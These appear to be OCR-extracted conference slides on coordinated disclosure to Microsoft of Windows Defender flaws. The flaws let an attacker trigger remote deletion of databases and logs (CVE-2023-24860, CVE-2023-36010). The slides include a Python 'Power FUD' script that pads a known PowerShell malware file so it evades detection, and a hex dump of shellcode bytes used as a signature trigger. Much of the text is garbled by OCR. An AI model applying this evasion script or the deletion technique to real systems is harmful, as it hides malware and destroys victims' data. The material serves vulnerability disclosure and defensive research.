\MPDetection-20230416-124715.log
file: C:\ProgramData\Microsoft\Windows Defender\Support
\MPDetection-20230416-124715.log-> (UTF-16LE)

OK




ISecond report to Microsoft - CVE-2023-24860 patch analysis

Fixed Attack Vectors

Remote deletion of Windows Event Log file

IRemote deletion of MySQL database ]

Remote deletion of PostGRESQL database

Remote deletion of MongoDB database

Remote deletion of MariaDB database

Unprivileged deletion of Windows Event Log file

Local deletion of VMware VMDK files

unFixed Attack vectors
Remote deletion of 1IS log file

Remote deletion of Apache log file

Remote deletion of NGnix log file

Remote Deletion of Filezilla server log file

VMware deletion of VMX file

Unprivileged deletion of Defender detections Log file
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Second report to Microsoft - CVE-2023-24860 patch bypass

The Default

Storage

|\ 2le s | | C\playground\defender_signatures\mysqhZib_redol
e — o001 0203 0405 0607 0809 0AOB OCOD OEOF 0123456785ABCDEF
Adust prvkeges =T pooo 0006 4020 EDBD 0000 0000 O1DE 4000 Li...@ f..... B@.
s T 0x10 4D79 5351 4C20 382E 302E 3230 0000 0000 MySQL 8.0.30....
| 0%20 0000 0000 0000 0000 0000 0000 0000 0000 .« n v v vmcennenn-
Sy e —— 0x30 0000 0000 0000 0000 0000 0000 0000 0000  « o cecuvmemennnns
s %gczi%ﬁf?"“ 0x40 0000 0000 0000 0000 0000 0000 0000 0000 .« v v v vmcennenn-
EMORY 0x50 0000 0000 0000 0000 0000 0000 0000 0000 .« n v v emcennenn-
-, || 0x60 0000 DOOD 0000 0000 000D 0000 0000 VD00 .« e v e vm e e een -
—— 0x70 0000 DOOD 0000 0000 0000 0000 0000 D000 .« e vwcvm e en -
DELAY_KEY_WRITE 0x80 0000 0000 0000 0000 0000 Q000 0000 0000 .« v vwcvmcencenn.
AUTOINCREMENT 2850 0x90 0000 0000 0000 0000 0000 0000 0000 0000 .« e vwcvmcemcenn.
e 0xA0 0000 0000 0000 0000 0000 0000 0000 0000 .« e vwcvecencenn.
0xBO 0000 0000 0000 0000 0000 0000 0000 0000 .« v v v vncennenn-

ALTER TABLE ~table_name™ ENGINE=INMODB 71



ISecond report to Microsoft - CVE-2023-24860 patch bypass

I mirkes.de Tiny Hexer - [C:\Users\Tomer Bar\Downloads\msrc\table1.MYD]
|:] File Edit View Tools Options Bookmarks Window Help

D@a&| Ba BAEE
MySQL MYIASM - The dEfaU|t Storage 001 0203 0405 0607 0809 1011 1213 1415 012345¢

ED74 6573 7431 2020 2020 2020 2020 2020
- - - 1leé 2020 2020 2020 2020 2020 2020 2020 2020
engine format until I\/IySQL version 5.5.5 Bl 020 2020 2020 2020 2020 2020 2020 2020
48 2020 2020 2020 2020 2020 2020 2020 2020
64 2020 2020 2020 2020 2020 2020 2020 2020
80 2020 2020 2020 2020 2020 2020 2020 2020
96 2020 2020 2020 2020 2020 2020 2020 2020
112 2020 2020 2020 2020 2020 2020 2020 2020
128 2020 2020 2020 2020 2020 2020 2020 2020
144 2020 2020 2020 2020 2020 2020 2020 2020
160 2020 2020 2020 2020 2020 2020 2020 2020
176 2020 2020 2020 2020 2020 2020 2020 2020
1%2 2020 2020 2020 2020 2020 2020 2020 2020
208 2020 2020 2020 2020 2020 2020 2020 2020
224 2020 2020 2020 2020 2020 2020 2020 2020
240 2020 2020 2020 2020 2020 2020 2020 2020
256 FD74 6573 7432 2020 2020 2020 2020 2020 §t35t2
272 2020 2020 2020 2020 2020 2020 2020 2020
288 2020 2020 2020 2020 2020 2020 2020 2020
304 2020 2020 2020 2020 2020 2020 2020 2020
320 2020 2020 2020 2020 2020 2020 2020 2020
336 2020 2020 2020 2020 2020 2020 2020 2020
352 2020 2020 2020 2020 2020 2020 2020 2020
368 2020 2020 2020 2020 2020 2020 2020 2020
384 2020 2020 2020 2020 2020 2020 2020 2020
400 2020 2020 2020 2020 2020 2020 2020 2020
416 2020 2020 2020 2020 2020 2020 2020 2020
432 2020 2020 2020 2020 2020 2020 2020 2020
448 2020 2020 2020 2020 2020 2020 2020 2020
464 2020 2020 2020 2020 2020 2020 2020 2020
480 2020 2020 2020 2020 2020 2020 2020 2020
496 2020 2020 2020 2020 2020 2020 2020 2020




Second report to Microsoft - CVE-2023-24860 patch bypass
MYIASM DEMO




ISecond report to Microsoft - CVE-2023-24860 patch bypass

WAMP
Windows Apache
MySQL PHP

MySQL MYIASM

[ Windows10_insider_previ...

F & a wampmysql defaunpasswti 5 localhost / MariaDB /re X lﬁ localhost + v
| |
& > O m @ | localhost/phpmyadmin/index.php?route=/&route=%2F&db: i table=user_revi er=2 R _ o
Windows Security = a X
php| ™
o) Vs @i dhmast e
ol —— J ) U/ Virus & threat protection
o U Virus & threat protection =
MariaDf
J > n
A} = HackTool:Win32/Mikatz!dha
Recent Fal ™ Exploit:097M/CVE-2010-3333.P8 e
- W Current
Y & C - Alert level: High
B New Alert level: Severe ST 9
(8- inform} Q Status: Active Al seve
) mysql Date: 18/10/2022 2:03 @ Dete 18/10/c072 104
i perfor (| Category: Exploit Lategory: Jool
& | review| Exol Details: This program is dangerous and exploits the computer on which it = Detal; Ihisprogramhasipotentially upwanted behavior:
= ol i
{d Ney — ] AL = Learn more
#-husg i = Quick scar
+- ) sys o Acti o e = Affected items:
G s Affected items: file: C:\wamp64\logs\php_error.log
file: C\wamp64\bin\mariadb\mariadb10.6.5\data\reviews\user_review.MYD
OK
: oK

& threat protectio




ISecond report to Microsoft - CVE-2023-24860 patch bypass

Fixed Attack Vectors
Remote deletion of Windows Event Log file

Remote deletion of MySQL database

Remote deletion of PostGRESQL database
Remote deletion of MongoDB database

Remote deletion of MariaDB database

Unprivileged deletion of Windows Event Log file

VMware deletion of VMDK file

unFixed Attack vectors
Remote deletion of 1IS log file

Remote deletion of Apache log file

Remote deletion of NGnix log file

Remote Deletion of Filezilla server log file

VMware deletion of VMX file

Unprivileged deletion of Defender detections Log file

Remote deletion of MySQL database MYIASM;s



ISecond report to Microsoft - CVE-2023-24860 patch bypass

No Detection Detection and deletion of benign files
Binary Format Textual
- - Format
fle Adion View Hep g u_ex170322 - Notepad
% 2mEm File Edit Format View Help
ul-ﬂ*’M_‘m-“ Application  Number of everts: 2311 #Software: Microsoft Internet Information Services 8.5 ~
- :i"::::; Level Oste and Time Source Evert© Task Ca #Version: 1.0
] Applcation Dformation TNV 0ST0AM  edge [31337] Mone I #Date: 2017-83-22 89:48:17 =
o] secunty D edormation __ 27102602 MIITAM 55, e 4 . #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip |
& syen Ddar | g B et i 2017-83-22 ©9:48:14 ::1 GET /WebAdmin - 88 - ::1 Mozilla/5.@+(Windows+NT+6.3;+WON6!
[ ] Formarded Events D sedoen om-wu-h] 2017-83-22 89:48:15 ::1 GET /WebAdmin - 80 VDE\admin ::1 Mozilla/5.8+(Windows+NT+6.
¥ ?’:.::"‘:‘:""“ Dibomt o ¢, View YO Viow 2017-03-22 ©9:48:15 ::1 GET /WebAdmin/Home/DashboardMainStats _=1498176@896093 806 VL
G intemet Explorer ::: ~ v 2017-83-22 89:48:15 ::1 GET /WebAdmin/Home/DashboardUserStatus _=1498176096895 88 \
51 Xey Management Service | () sotorm i A 2817-83-22 89:48:15 ::1 GET /WebAdmin/Home/DashboardSessionBreakdown _=14981760968¢
&”:: 1) wtom In Words 2017-83-22 @9:48:17 ::1 GET /WebAdmin/Home/DashboardDeniedlLogon option=Windows& =1£
i 6] Windows Powershet D) wom 2017-83-22 89:48:17 ::1 GET /WebAdmin/Home/DashboardAgentDistribution - 88 VDE\admi
| Subscrgtns B 5. oo TGN aInr srane * 2017-83-22 09:48:17 ::1 GET /WebAdmin/Home/DashboardAgentDistribution _=1498176896¢
General s 2017-83-22 @9:48:17 ::1 GET /WebAdmin/Home/DashboardDeniedlLogon option=UserlLock& =1
In Bytes 2017-83-22 09:48:17 ::1 GET /browserconfig.xml - 88 - ::1 Mozilla/5.B8+(Windows+NT+€
E-‘: . . l 2017-83-22 89:48:20 ::1 POST /WebAdmin/Notification/NotificationZone - &8 VDE\admir
| 0000: 48 65 72 65 20 61 6C 73 Here als -
0008: 6F 20 62 65 20 64 72 61 © be dra
logN  [0010: 67 6F 6€E 73 gons v < I | ’
< >

———— N £l N

\rtf1{\shp{\sp} \rtf1{\shp{\sp}
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ISecond report to Microsoft - CVE-2023-24860 patch bypass

0001 0203 (405 0607 080% 1011 1213 1415 0123456785012345

0 6663 6538 3835 3030 3030 32030 36 3839 £fce889%0000006089

‘ 16 €535 3331 c432 3634 3862 3332 33 3862 e531d2648b52308b

32 3532 3063 3862 3532 3134 3862 37 3238 520cB8b32148b7228

6' , rv 48 3066 6237 3461 3236 3331 6666 33 6330 O0fb74a2631ff31c0
64 £l63 3363 3631 3763 3032 3263 32 €331 ac3celTcl022c2icl

B0 &366 3064 3031 6337 6532 6630 35 3337 cf0d01lc7e2f05257

56 3862 3532 3130 3862 3432 3363 320 6430 B8b52108b423c0140

112 3362 3430 3738 3835 6330 3734 34 3031 8b407885c0744a0l

3538 ..d0508b48188b58
3334 2001d3e=33c458b34
£le3 Bb01de31£ff31clac
3735 clcf0d01=c738=075
3735 £4037d£f83b7d2475
3636 e=2588b5382401d366
6433 Bb0c4bi8b581c014d3
3234 8b048b01d08954424
3331 24..5b3b&15395a51
6562 ffe0585f5a8kbl2eb
3638 865d6833320000c8
3737 T773325£54684cT7
3030 2607££d4d3b85%00100
3830 0029c45450682580

128 ODOZ 6430 3530 3862 3435 3138
144 3230 3031 6433 6533 3363 3439

: . . ; 160 3862 3031 6436 3331 6666 3331
TrDJan:lll"."llln32-"ﬂl-"?|1"'rlc’n'h 176 ©331 €366 3064 3031 6337 3338
192 £634 3033 3764 6638 3362 3764
208 €532 3538 3862 3538 3234 3031
224 3862 3063 3462 3862 3538 3163
240 3862 3034 3862 3031 £430 3839
256 3234 0DOR 3562 3562 3631 3539
272 6666 6530 3538 3566 3561 3862
288 3836 3564 3638 3333 3332 3030
304 3737 3733 3332 3566 3534 3638
320 3236 3037 G666 6435 £238 3930
336 3030 3239 6334 3534 3530 3638
352 3662 3030 G666 €435 3530 3530 3530 €bO0E£d550505050
368 3430 3530 3430 3530 3638 6561 E466 4050405068ca0fdf

£530 GEEE s0Ef

s B30 o oo
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ISecond report to Microsoft - CVE-2023-24860 patch bypass

C:\Users\Shmuel\Desktop\EDRaser>

B2 cawindows\System32\cmde X+ v

C:\Users\ john\Desktop\mysql-8.8.33-winx64\bin>|

== Q Search ;b H v ,_O A~ DN &% D*QQ)) 7;:1;0‘2’;0




I Vulnerability Timeline

First Report CVE-2023-24860 Second Report CVE-2023-36010

to MSRC Patch Bypass
January April August December

2023 2023 2023 2023
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Third report to Microsoft - CVE-2023-36010 bypass

B M5Qt Workbench

B  Local mstence MySGLED
View Query Datsbase Server

S8 o JaFEEHE

Fe Edt

Nrgater
MANAGEMENT

© Server Status

2 Client Connections

£ Users and Priviteges

) Status and System Variables

& Data Bxpont

& Dsta impotRestore
INSTANCE

0 stntup/ shurdown

A severtogs

7~ Options File
PERFORMANCE
@ Dashboard
& Pertormance Reports
&\ Performance Schema Setup

Adminestration  Schemas
Informetion

No object selected

MySQL InnoDB - The patch didn't fix this attack vector

« - » ThSPC » Local Disk (C) » ProgramDats » Microsoft »>
& Name Date moddied Type
# Quick access
4182311030 W2 Fie Rider
Deskt: .
08 Deiscy I 418220770 ¢ ] 5
& Downloads #
% Documents #
= Pictures S
2 e 1 tem selected

Windows Defender »

Platform v ©

- (] X
Tocks Scrigieg Help
-] I
B & (N W=y |
SOLFdeT"  SQLFideZ SQLAGHIons
- i y | Q @B =
[~ ) ra -+ [ |Dont Lme e ¢aEz B2 % | Amoto
10 use new_schesa;
> lect * ¢ . 2 Automatic context help is
2 elect * from per 3 .
: i disabled. Use the toolbar t«
manually get help for the
current carel position or tc
toggle automatic help.
< >
Resut Grid | (11| 4% Fer Row Eports [ | Wrap Cel Comrts 13 | Fetch rows ©
PersoniD Lasame Friviame Aoress Ory
» 0 a b 1 4
L] N b 2 4
0 s b
L] 2 b l fceS890000006089% 51 142648552308 S 20c8bS. ’ i
1 a b e
2 1] b 4
3 a b 3 4
3 . L 4 el
4 ] b 4 4 Types
e - s i v [
persons2 § x © ReadOnly Cootextriels  Snippess
Output
(P Acton Ouput -
. Tee Acvon Mersage Ovration / Feach. -
© X 25404 usenew schema Orowh) sffected 0000 sec

Windows Security

=

< Protection updates

View information about your security intelligence version, and check for
updates.

We try to aut
your device agains

updates.

Security intelligence version: 1.403.474.0
Version created on: 13/12/2023 19:07
Last update: 13/12/2023 220

© Update successful.

Check for updates

Have a question?
Get help




IThird report to Microsoft - CVE-2023-36010 patch bypass

M mirkes.de Tiny Hexer - [C:\Users\Tomer Bar\Downloads\msrc\table1.MYD]
D File Edit View Tools Options Bookmarks Window Help

The patch fixed MySQL MYIASM remote deletion D2@B8|2cibademe

[oo1 0203 0405 0607 0805 1011 1213 1415 012345¢€
/n D74 €573 7431 2020 2020 2020 2020 202
16 2020 2020 2020 2020 2020 2020 2020 2020

32

2020 2020 2020 2020 2020 2020 2020 2020

The patch implemented a whitelisting:
1. Each record starts with OxFD B =0 20s0 7070 z070 s0a0 030 s0s0 s030

96 2020 2020 2020 2020 2020 2020 2020 2020

. . First 112 2020 2020 2020 2020 2020 2020 2020 2020
2. EaCh Record IS 256 bytes Slze 128 2020 2020 2020 2020 2020 2020 2020 2020 >
Record 144 2020 2020 2020 2020 2020 2020 2020 2020

1le0 2020 2020 2020 2020 2020 2020 2020 2020
17¢ 2020 2020 2020 2020 2020 2020 2020 2020
152 2020 2020 2020 2020 2020 2020 2020 2020
208 2020 2020 2020 2020 2020 2020 2020 2020
224 2020 2020 2020 2020 2020 2020 2020 2020
240 2020 2020 2020 2020 2020 2020 2020 2020
256 FD74 6573 7432 2020 2020 2020 2020 202 ytest2
272 2020 2020 2020 2020 2020 2020 2020 2020

288 2020 2020 2020 2020 2020 2020 2020 2020
ItS OK, 304 2020 2020 2020 2020 2020 2020 2020 2020

N

I knOW thIS guy 320 2020 2020 2020 2020 2020 2020 2020 2020
336 2020 2020 2020 2020 2020 2020 2020 2020
352 2020 2020 2020 2020 2020 2020 2020 2020
Second 368 2020 2020 2020 2020 2020 2020 2020 2020 >
384 2020 2020 2020 2020 2020 2020 2020 2020
record 400 2020 2020 2020 2020 2020 2020 2020 2020
416 2020 2020 2020 2020 2020 2020 2020 2020
432 2020 2020 2020 2020 2020 2020 2020 2020
448 2020 2020 2020 2020 2020 2020 2020 2020
464 2020 2020 2020 2020 2020 2020 2020 2020
480 2020 2020 2020 2020 2020 2020 2020 2020
\ 456 2020 2020 2020 2020 2020 2020 2020 2020/




IThird report to Microsoft - CVE-2023-36010 patch bypass

Whitelist conditions:
1. Starts with OxFD
2. Each Record is 256 bytes size

* TEXT[(M)] [CHERRACTER SET charset nmame] [COLLATE ceollation name]

A TEXT column with a maximum length of 65,535 (218 - 1) characters. The effective maximum length is less if the value contains multibyte characters. Each TEXT value
is stored using a 2-byte length prefix that indicates the number of bytes in the value.

An optional length »can be given for this type. If this is done, MySQL creates the column as the smallest TEXT type large enough to hold values M characters long.

It's a Big guy,
| don’t know
this guy

82



IThird report to Microsoft - CVE-2023-36010 MYISASM Patch bypass

@ Administrator: C:\Windo ystem32\cmd.exe - (=} X

512 F 6573 7433 2020 2020 2020 20

528 2 2 2020 2020 2020 2020 20 SAax: ecsk
544 2 2020 2020 2020 2020 2020 20
560 2 2020 2020 2020 2020 2020 20
FQ (j 576 2 2020 2020 2020 2020 2020 20
ecor 592 2 2020 2020 2020 2020 2020 20
€08 2 2020 2020 2020 2020 2020 20
256 byteS 624 2 2020 2020 2020 2020 2020 20
-<< 640 2 2020 2020 2020 2020 2020 20
IEBr]thr] 656 2 2020 2020 2020 2020 2020 20
€72 2 2020 2020 2020 2020 2020 20
€88 2 2020 2020 2020 2020 2020 20
704 2 2020 2020 2020 2020 2020 20
720 2 2020 2020 2020 2020 2020 20
736 2 2020 2020 2020 2020 2020 20
752 2 2020 2020 2020 2020 2020 2

ee

*" Windows Security

Record e
Size bigger n = : =5 = : Thoass o
than 256 B s

signature

2020 2020 2020 2020 2020 2020 | \ —/



Third report to Microsoft -

CVE-2023-36010 bypass

Fixed Attack Vectors

unFixed Attack vectors

Remote deletion of Windows Event Log file

Remote deletion of MySQL database MYIASM+InnoDB

Unprivileged deletion of Windows Event Log file

Remote deletion of MariaDB database

VMware deletion of VMDK file

Remote deletion of PostGRESQL database

Remote deletion of MongoDB database

Remote deletion of IIS log file

Remote deletion of Apache log file

Remote deletion of NGnix log file

Remote Deletion of Filezilla server log file

VMware deletion of VMX file

Unprivileged deletion of Defender detections Log file
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I Third report to Microsoft - Windows Defender bypass

M mirkes.de Tiny Hexer - [C:\Users\Tomer Bar\Downloads\msrc\table1.MYD]
D File Edit View Tools Options Bookmarks Window Help

The patch fixed MySQL MYIASM remote deletion D2@B8|2cibademe

[oo1 0203 0405 0607 0805 1011 1213 1415 012345¢€
/n D74 €573 7431 2020 2020 2020 2020 202
16 2020 2020 2020 2020 2020 2020 2020 2020

32

2020 2020 2020 2020 2020 2020 2020 2020

The patch implemented a whitelisting:
1. Each record starts with OxFD B =0 20s0 7070 z070 s0a0 030 s0s0 s030

96 2020 2020 2020 2020 2020 2020 2020 2020

. . First 112 2020 2020 2020 2020 2020 2020 2020 2020
2. EaCh Record IS 256 bytes Slze 128 2020 2020 2020 2020 2020 2020 2020 2020 >
Record 144 2020 2020 2020 2020 2020 2020 2020 2020

1le0 2020 2020 2020 2020 2020 2020 2020 2020
17¢ 2020 2020 2020 2020 2020 2020 2020 2020
152 2020 2020 2020 2020 2020 2020 2020 2020
208 2020 2020 2020 2020 2020 2020 2020 2020
224 2020 2020 2020 2020 2020 2020 2020 2020
240 2020 2020 2020 2020 2020 2020 2020 2020
256 FD74 6573 7432 2020 2020 2020 2020 202 ytest2
272 2020 2020 2020 2020 2020 2020 2020 2020

288 2020 2020 2020 2020 2020 2020 2020 2020
ItS OK, 304 2020 2020 2020 2020 2020 2020 2020 2020

N

I knOW thIS guy 320 2020 2020 2020 2020 2020 2020 2020 2020
336 2020 2020 2020 2020 2020 2020 2020 2020
352 2020 2020 2020 2020 2020 2020 2020 2020
Second 368 2020 2020 2020 2020 2020 2020 2020 2020 >
384 2020 2020 2020 2020 2020 2020 2020 2020
record 400 2020 2020 2020 2020 2020 2020 2020 2020
416 2020 2020 2020 2020 2020 2020 2020 2020
432 2020 2020 2020 2020 2020 2020 2020 2020
448 2020 2020 2020 2020 2020 2020 2020 2020
464 2020 2020 2020 2020 2020 2020 2020 2020
480 2020 2020 2020 2020 2020 2020 2020 2020
\ 456 2020 2020 2020 2020 2020 2020 2020 2020/




I Third report to Microsoft - Windows Defender bypass

Recipe FUD

1. OXFD in the beginning of a known Powershell malware script.
2. Powershell command to ignore exceptions ?

3. comment to align the size of the Powershell malware file to 256 bytes size.

Its OK,
| know this guy




I Third report to Microsoft - Windows Defender bypass

Recipe FUD

1. OxXFD in the beginning of a known Powershell malware script.

2. Powershell command to ignore exceptions
3. comment to align the size of the Powershell malware file to 256 bytes size.

$ErrorActionPreference

Determines how PowerShell responds to a non-terminating error, an error that doesn't stop the cmdlet processing. For
example, at the command line or in a script, cmdlet, or provider, such as the errors generated by the Write-Error

cmdlet.

SilentlyContinue: No effect. The error message isn't displayed and execution continues without interruption.
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I Third report to Microsoft - Windows Defender bypass

POWER OXFD = PowerF(U)D = Power Fully Un-Detectable

ﬁmport SYsS,0S

lwith open(sys.argv[l], 'rb') as f:

lines = f.readlines{()

with open(sys.argv[l],'rb') as 1f:
data = f.read()

OXED + ignore error and continue
[ data = "\=fD" + lines[0].strip(+"\r\n" + "SErrorActionPreference — 'Si;%nt;7Ccntinue'4+ "\r\n" + data
length = len{(data)
length= (length%25¢€)

padding = "#" 4 'A'*(256-length-1)

Add comment to Align size to 256 bytes

data = data + padding

print len(data)sZioo

with open("bypass "
data =

PowerSploit / Exfiltration / Qut-Minidump.ps1
+ sys.argv[l]l,'wb') as fw:

fw.write (data)
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I Microsoft Response for Remote deletion last bypass

“We appreciate the responsible disclosures and feedback from the security researcher Tomer
Bar & and Shmuel Cohen, who reported a technique that could potentially cause data loss by
injecting malicious content into files that are scanned by Microsoft Defender.

We have thoroughly investigated these issues and implemented several improvements to
our detection and remediation logic, as well as our built-in exclusions, to reduce the risk of
false positives and data loss.

We also offer our customers the option to configure Defender in a mode where no automatic
actions are taken, and all remediation actions are quarantined by default.

We believe that our current approach strikes a good balance between mitigating the risks
and providing the functionality that our users expect from a security product.

We will continue to look for potential improvements in future releases and welcome the
ongoing feedback from the security community." 89



I Microsoft Response for Generic Defender bypass

Windows Defender Bypass

Thank you again for submitting this issue to Microsoft.
We determined that a fix will not be released for the reported behavior.
After further investigation, your submission has been deemed to be Windows Defender bypass, not a security vulnerability as defined by Microsoft.

According to Microsofts Security Servicing Criteria for Windows, a bypass of a defense-in-depth security feature by itself does not pose a direct
risk.
This is because an attacker must also have found a vulnerability that affects a security boundary, or they must rely on additional techniques, such as social

engineering, to achieve the initial stage of a device compromise. In other words, while bypasses are important to address, they are not
necessarily considered standalone security vulnerabilities.
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I Vulnerability Timeline

First Report CVE-2023-24860 Second Report CVE-2023-36010 Third Report

to MSRC Patch Bypass Patch Bypass
Defender bypass
January April August December January February
2023 2023 2023 2023 2024 2024 @
April
2024
Microsoft

Response
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I GitHub - EDRaser

EDRaser
https://github.com/SafeBreach-Labs/EDRaser
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I Takeaways

1. Remote deletion vulnerabilities are difficult to fix especially when
the security controls relays on byte signature detection

2. Security patches might be incomplete, patching should not be
treated as a magic bullet and other security layers should protect
against single point of failure.

3. Security patches fixing vulnerabilities in security controls might
Introduce bypasses and unexpected behaviors
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